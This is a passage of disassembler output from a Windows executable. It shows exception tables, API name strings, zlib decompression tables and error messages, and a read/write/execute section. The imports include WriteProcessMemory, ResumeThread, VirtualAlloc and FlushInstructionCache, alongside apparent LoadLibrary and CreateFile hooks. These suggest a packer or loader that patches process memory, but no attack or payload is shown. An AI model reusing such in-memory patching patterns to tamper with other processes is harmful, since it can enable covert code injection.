					; sub_4CF94C+C7r ...
					; "<stripped>"
dword_4DE500	dd 0FFFFFFFFh, 4D8472h,	4D8476h, 0 ; DATA XREF:	sub_4D8436+5o
dword_4DE510	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D8538+5o
		dd offset loc_4D86FC
		align 10h
dword_4DE520	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D8726+5o
		dd offset sub_4D87AB
		align 10h
dword_4DE530	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D87CA+5o
		dd offset sub_4D8864
		align 10h
dword_4DE540	dd 0FFFFFFFFh, 4D8BFBh,	4D8BFFh, 0 ; DATA XREF:	sub_4D8A16+5o
dword_4DE550	dd 0FFFFFFFFh, 4D8FE0h,	4D8FE4h, 0 ; DATA XREF:	sub_4D8EF3+5o
dword_4DE560	dd 0FFFFFFFFh, 4D922Ch,	4D9230h, 0FFFFFFFFh, 4D92A5h, 4D92A9h
					; DATA XREF: sub_4D918E+5o
dword_4DE578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D9518+5o
		dd offset loc_4D9615
		align 8
dword_4DE588	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D9638+5o
		dd offset sub_4D9696
		align 8
dword_4DE598	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D9789+5o
		dd offset loc_4D989D
		align 8
dword_4DE5A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D98C0+5o
		dd offset loc_4D99A2
dword_4DE5B4	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_4D9DD4+FBo
					; sub_4D9DD4+15Fo ...
dword_4DE5C4	dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_4D9DD4+10Fo
					; sub_4DB23E+5o ...
dword_4DE5D0	dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_4D9DD4+123o
dword_4DE5DC	dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh
					; DATA XREF: sub_4D9518+C2o
					; sub_4D9789+6Eo ...
		dd 0
dword_4DE5F8	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ;	DATA XREF: sub_4D99C5+30o
					; sub_4D9A34+6Fo ...
aSetunhandled_0	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _6:004E1254o
aCreatefilea_0	db 'CreateFileA',0      ; DATA XREF: _6:004E125Co
aCreatefilew_0	db 'CreateFileW',0      ; DATA XREF: _6:004E1264o
aReadfile_0	db 'ReadFile',0         ; DATA XREF: _6:004E1284o
		align 4
aClosehandle_0	db 'CloseHandle',0      ; DATA XREF: _6:004E128Co
aSetfilepoint_0	db 'SetFilePointer',0   ; DATA XREF: _6:004E1294o
		align 4
aGetfilesize_0	db 'GetFileSize',0      ; DATA XREF: _6:004E129Co
aExitprocess_1	db 'ExitProcess',0      ; DATA XREF: _6:004E12A4o
aCreatefilema_2	db 'CreateFileMappingA',0 ; DATA XREF: _6:004E12ACo
		align 10h
aCreatefilema_3	db 'CreateFileMappingW',0 ; DATA XREF: _6:004E12B4o
		align 4
aLoadlibrarya_0	db 'LoadLibraryA',0     ; DATA XREF: _6:004E12D4o
		align 4
aLoadlibraryw	db 'LoadLibraryW',0     ; DATA XREF: _6:004E12DCo
		align 4
aLoadlibrarye_0	db 'LoadLibraryExA',0   ; DATA XREF: _6:004E12E4o
		align 4
aLoadlibraryexw	db 'LoadLibraryExW',0   ; DATA XREF: _6:004E12ECo
		align 4
aFreelibrary_1	db 'FreeLibrary',0      ; DATA XREF: _6:004E12CCo
aGetprocaddre_1	db 'GetProcAddress',0   ; DATA XREF: _6:004E12F4o
		align 10h
aLoadimagea_0	db 'LoadImageA',0       ; DATA XREF: _6:004E13DCo
		align 4
aMapviewoffil_0	db 'MapViewOfFile',0    ; DATA XREF: _6:004E12BCo
		align 4
aUnmapviewoff_1	db 'UnmapViewOfFile',0  ; DATA XREF: _6:004E12C4o
aGetfileattri_3	db 'GetFileAttributesA',0 ; DATA XREF: _6:004E126Co
		align 10h
aGetfileattri_4	db 'GetFileAttributesW',0 ; DATA XREF: _6:004E1274o
		align 4
aGetfileattri_5	db 'GetFileAttributesExW',0 ; DATA XREF: _6:004E127Co
		align 4
aGetmodulehan_1	db 'GetModuleHandleA',0 ; DATA XREF: _6:004E1354o
		align 10h
aGetmodulehan_2	db 'GetModuleHandleW',0 ; DATA XREF: _6:004E135Co
		align 4
aGetmodulefil_1	db 'GetModuleFileNameA',0 ; DATA XREF: _6:004E13ACo
		align 4
aGetmodulefil_2	db 'GetModuleFileNameW',0 ; DATA XREF: _6:004E13B4o
		align 4
aGetlongpathn_1	db 'GetLongPathNameA',0 ; DATA XREF: _6:004E13BCo
		align 10h
aGetlongpathn_2	db 'GetLongPathNameW',0 ; DATA XREF: _6:004E13C4o
		align 4
aSearchpathw	db 'SearchPathW',0      ; DATA XREF: sub_4DA226+B2o
					; _6:004E1364o
aSearchpatha_0	db 'SearchPathA',0      ; DATA XREF: sub_4DA1C7+Do
					; _6:004E136Co
aAddfontresou_0	db 'AddFontResourceA',0 ; DATA XREF: sub_4DB23E+Ao
					; _6:004E13CCo
		align 10h
aRemovefontre_0	db 'RemoveFontResourceA',0 ; DATA XREF: sub_4DB277+Ao
					; _6:004E13D4o
aFindfirstfil_1	db 'FindFirstFileA',0   ; DATA XREF: _6:004E12FCo
		align 4
aFindfirstfilew	db 'FindFirstFileW',0   ; DATA XREF: sub_4DA361+92o
					; _6:004E1304o
		align 4
aFindclose_1	db 'FindClose',0
		align 10h
aFindnextfile_1	db 'FindNextFileA',0    ; DATA XREF: _6:004E131Co
		align 10h
aFindnextfilew	db 'FindNextFileW',0    ; DATA XREF: sub_4DA657+2Eo
					; _6:004E1324o
		align 10h
aFindfirstfilee	db 'FindFirstFileExW',0 ; DATA XREF: sub_4DA4AA+92o
					; _6:004E130Co
		align 4
a_lopen		db '_lopen',0           ; DATA XREF: sub_4DB636+25o
					; _6:004E1334o
		align 4
aOpenfile	db 'OpenFile',0         ; DATA XREF: sub_4DB582+93o
					; _6:004E132Co
		align 4
a_lread		db '_lread',0           ; DATA XREF: sub_4DB711+27o
					; _6:004E1344o
		align 10h
a_llseek	db '_llseek',0          ; DATA XREF: sub_4DB6CC+20o
					; _6:004E134Co
a_lclose	db '_lclose',0          ; DATA XREF: sub_4DB677+23o
					; _6:004E133Co
aCocreateinstan	db 'CoCreateInstance',0 ; DATA XREF: sub_4D9518+C7o
					; _6:004E13E4o
		align 4
aCocreateinst_0	db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4D9789+73o
					; _6:004E13ECo
		align 4
aCogetclassobje	db 'CoGetClassObject',0 ; DATA XREF: sub_4D98C0+ACo
					; _6:004E13F4o
		align 4
aGetprivatepr_2	db 'GetPrivateProfileStringA',0 ; DATA XREF: _6:004E1374o
		align 4
aGetprivatepr_3	db 'GetPrivateProfileIntA',0 ; DATA XREF: _6:004E137Co
		align 10h
aGetprivatepr_4	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _6:004E1384o
		align 10h
aGetprivatepr_5	db 'GetPrivateProfileSectionA',0 ; DATA XREF: _6:004E138Co
		align 4
aGetfileinfor_0	db 'GetFileInformationByHandle',0 ; DATA XREF: _6:004E1394o
		align 4
aLockfile_0	db 'LockFile',0         ; DATA XREF: _6:004E139Co
		align 4
aLockfileex	db 'LockFileEx',0
		align 10h
aUnlockfile_0	db 'UnlockFile',0       ; DATA XREF: _6:004E13A4o
		align 4
aUnlockfileex	db 'UnlockFileEx',0
		align 4
aGetrecordinf_0	db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_4D9A34+D2o
					; _6:004E13FCo
		align 4
aGetrecordinfof	db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_4D99C5+35o
		align 10h
aLoadregtypelib	db 'LoadRegTypeLib',0   ; DATA XREF: sub_4D9B3C+84o
					; _6:004E1404o
		align 10h
aLoadtypelib	db 'LoadTypeLib',0      ; DATA XREF: sub_4D9A34+74o
					; sub_4D9B3C+4Fo
		align 10h
dword_4DEA00	dd 0FFFFFFFFh, 4DA115h,	4DA119h, 0FFFFFFFFh, 4DA129h, 4DA12Dh
					; DATA XREF: sub_4DA0C8+5o
		dd 0FFFFFFFFh, 4DA14Ah,	4DA14Eh, 0FFFFFFFFh, 4DA15Eh, 4DA162h
		dd 0FFFFFFFFh, 4DA183h,	4DA187h, 0FFFFFFFFh, 4DA197h, 4DA19Bh
dword_4DEA48	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DA226+5o
		dd offset loc_4DA311
		align 8
dword_4DEA58	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DA361+5o
		dd offset sub_4DA480
		align 8
dword_4DEA68	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DA4AA+5o
		dd offset sub_4DA5D5
		align 8
dword_4DEA78	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DA7DD+5o
		dd offset sub_4DA886
		align 8
dword_4DEA88	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DA8AA+5o
		dd offset sub_4DA9C8
		align 8
dword_4DEA98	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DAB3D+5o
		dd offset sub_4DAC33
		align 8
dword_4DEAA8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DAEAA+5o
		dd offset loc_4DAF44
		align 8
dword_4DEAB8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DAFC6+5o
		dd offset sub_4DB052
		align 8
dword_4DEAC8	dd 0FFFFFFFFh, 4DB0E2h,	4DB0E6h, 0FFFFFFFFh, 0 ; DATA XREF: sub_4DB076+5o
		dd offset sub_4DB15D
dword_4DEAE0	dd 0FFFFFFFFh, 4DB1C4h,	4DB1C8h, 0 ; DATA XREF:	sub_4DB18D+5o
dword_4DEAF0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4DB2FE+5o
		dd offset sub_4DB3B1
dword_4DEAFC	dd 0			; DATA XREF: sub_4CCA80+57o
					; sub_4CCDBF+52o
dword_4DEB00	dd 2 dup(0)		; DATA XREF: sub_4CCA80+36o
					; sub_4CCDBF+39o
dword_4DEB08	dd 0FFFFFFFFh, 4CCB90h,	4CCB94h, 0FFFFFFFFh, 4CCC44h, 4CCC48h
					; DATA XREF: sub_4CCA80+5o
dword_4DEB20	dd 0FFFFFFFFh, 4CCEB8h,	4CCEBCh, 0DEB68h, 2 dup(0)
					; DATA XREF: sub_4CCDBF+5o
		dd 0DECB8h, 0DE000h, 0DEBB8h, 2	dup(0)
		dd 0DECEEh, 0DE050h, 5 dup(0)
		dd 0DEBC4h, 0DEBE0h, 0DEBF2h, 0DEBFEh, 0DEC10h,	0DEC1Eh
		dd 0DEC32h, 0DEC4Ah, 0DEC62h, 0DEC76h, 0DEC86h,	0DEC9Ch
		dd 0DED52h, 0DED42h, 0DED32h, 0DECFAh, 0DED06h,	0DED1Ch
		dd 0DED64h, 0
		dd 0DECC6h, 0DECD8h, 0
		db  19h
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 65470198h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 61636F4Ch, 6572466Ch, 29B0065h, 73696152h, 63784565h
		dd 69747065h, 6E6Fh, 6F4C024Eh,	416C6163h, 636F6C6Ch, 1770000h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 2470000h
aLeavecritica_1	db 'LeaveCriticalSection',0
		align 2
aP_0		db '',0
aEntercritica_1	db 'EnterCriticalSection',0
		align 2
		dw 1ADh
aGetshortpathna	db 'GetShortPathNameA',0
		dw 2C5h
aResumethread	db 'ResumeThread',0
		align 2
		dw 39Dh
aWriteprocessme	db 'WriteProcessMemory',0
		align 4
		db 90h
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileSectionA',0
aKernel32_dll_2	db 'KERNEL32.dll',0
		align 2
aO		db '',0
aDefwindowpro_0	db 'DefWindowProcA',0
		align 4
		db    2
		align 2
aAdjustwindowre	db 'AdjustWindowRectEx',0
		align 2
aUser32_dll_1	db 'USER32.dll',0
		align 2
		retf	5202h
; ---------------------------------------------------------------------------
aTlunwind	db 'tlUnwind',0
		dw 387h
aWidechartomu_0	db 'WideCharToMultiByte',0
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 23Ah
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 23Bh
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 654701B5h, 72745374h, 54676E69h, 57657079h
		db 2 dup(0)
_5		ends

; Section 7. (virtual address 000DF000)
; Virtual size			: 00007110 (  28944.)
; Section size in file		: 00007110 (  28944.)
; Offset to raw	data for section: 000DF000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_6		segment	para public 'CODE' use32
		assume cs:_6
		;org 4DF000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_4DBC4B+81Do
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_4DBC4B+783o
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_4DBC4B+6CCo
		align 10h
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_4DBC4B+66Bo
		align 4
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_4DC61A+4BBo
					; sub_4DCBEB+23Eo
		align 4
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_4DC61A+486o
					; sub_4DCBEB+28Do
byte_4DF0A8	db 31h			; DATA XREF: sub_4DCF41+15r
					; sub_4DD9F3+2Fo
		db 2Eh,	31h, 2Eh
		dd 34h
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_4DD043+307o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_4DD043+230o
		align 4
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_4DD043+ECo
		align 10h
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_4DD043+9Co
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_4DD043+79o
		align 10h
dword_4DF120	dd 9			; DATA XREF: sub_4DD8AF+6r
dword_4DF124	dd 5			; DATA XREF: sub_4DD8AF+11r
dword_4DF128	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_4DD8AF+1Co
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_4E0128	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_4DD8AF+25o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_4DD3A6+66o
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_4DD3A6+4Eo
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_4DD7AC:loc_4DD891o
		align 4
aOversubscrib_1	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_4DD7AC+D7o
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_4DD7AC:loc_4DD875o
		align 4
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_4DD7AC+BBo
		align 4
aOversubscrib_0	db 'oversubscribed distance tree',0 ; DATA XREF: sub_4DD7AC+ADo
		align 4
dword_4E0318	dd 0			; DATA XREF: sub_4DBC4B:loc_4DC07Fr
					; sub_4DBC4B+4C0r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh
aGetcurrentproc	db 'GetCurrentProcess',0 ; DATA XREF: sub_4CD2E0+1E4o
					; sub_4CE2E0+16Bo
		align 10h
aFlushinstructi	db 'FlushInstructionCache',0 ; DATA XREF: sub_4CD2E0:loc_4CD4B0o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4CD2E0+1ABo
					; sub_4CDDD0+1Do ...
		align 4
aBarier		db 'BARIER',0           ; DATA XREF: sub_4CD2E0+4Co
		align 10h
aWindowsntUnkno	db 'WindowsNT(unknown)',0 ; DATA XREF: _4:loc_4CE1D5o
					; _4:loc_4CE1E1o
		align 4
aWindows_net	db 'Windows.NET',0      ; DATA XREF: _4:004CE1C9o
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: _4:004CE1B1o
		align 4
aWindows2000	db 'Windows2000',0      ; DATA XREF: _4:004CE199o
aWindowsnt4_0	db 'WindowsNT(4.0)',0   ; DATA XREF: _4:004CE175o
		align 4
aWindowsnt3_51	db 'WindowsNT(3.51)',0  ; DATA XREF: _4:004CE15Ao
aWindows9xUnkno	db 'Windows9x(unknown)',0 ; DATA XREF: _4:loc_4CE13Fo
		align 4
aWindowsme	db 'WindowsMe',0        ; DATA XREF: _4:004CE133o
		align 4
aWindows98	db 'Windows98',0        ; DATA XREF: _4:004CE11Bo
		align 4
aWindows95	db 'Windows95',0        ; DATA XREF: _4:004CE103o
		align 10h
aWin32s		db 'win32s',0           ; DATA XREF: _4:loc_4CE0E8o
		align 4
aVirtualalloc	db 'VirtualAlloc',0     ; DATA XREF: _4:loc_4CDE99o
					; sub_4CE2E0+52Bo
		align 4
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_4CE2E0+86Do
		align 4
aPostmessagea	db 'PostMessageA',0     ; DATA XREF: sub_4CE2E0+859o
		align 4
aDefwindowproca	db 'DefWindowProcA',0   ; DATA XREF: sub_4CE2E0+845o
		align 4
aEnumwindows	db 'EnumWindows',0      ; DATA XREF: sub_4CE2E0+831o
aDestroywindo_0	db 'DestroyWindow',0    ; DATA XREF: sub_4CE2E0+81Do
		align 4
aDispatchmessag	db 'DispatchMessageA',0 ; DATA XREF: sub_4CE2E0+809o
		align 4
aTranslatemessa	db 'TranslateMessage',0 ; DATA XREF: sub_4CE2E0+7F5o
		align 4
aGetmessagea	db 'GetMessageA',0      ; DATA XREF: sub_4CE2E0+7E1o
aCreatewindowex	db 'CreateWindowExA',0  ; DATA XREF: sub_4CE2E0+7CDo
aGetsystemmetri	db 'GetSystemMetrics',0 ; DATA XREF: sub_4CE2E0+7B9o
		align 4
aRegisterclasse	db 'RegisterClassExA',0 ; DATA XREF: sub_4CE2E0+7A5o
		align 10h
aSetforegroundw	db 'SetForegroundWindow',0 ; DATA XREF: sub_4CE2E0+791o
aSetactivewindo	db 'SetActiveWindow',0  ; DATA XREF: sub_4CE2E0+77Do
aGetwindowthrea	db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_4CE2E0+769o
		align 10h
aBitblt_0	db 'BitBlt',0           ; DATA XREF: sub_4CE2E0+755o
		align 4
aDeleteobject_0	db 'DeleteObject',0     ; DATA XREF: sub_4CE2E0+741o
		align 4
aSelectobject_0	db 'SelectObject',0     ; DATA XREF: sub_4CE2E0+72Do
		align 4
aGetobjecta	db 'GetObjectA',0       ; DATA XREF: sub_4CE2E0+719o
		align 4
aEndpaint	db 'EndPaint',0         ; DATA XREF: sub_4CE2E0+705o
		align 10h
aBeginpaint	db 'BeginPaint',0       ; DATA XREF: sub_4CE2E0+6F1o
		align 4
aRemovefontreso	db 'RemoveFontResourceA',0 ; DATA XREF: sub_4CE2E0+6DDo
aDeletedc_0	db 'DeleteDC',0         ; DATA XREF: sub_4CE2E0+6C9o
		align 4
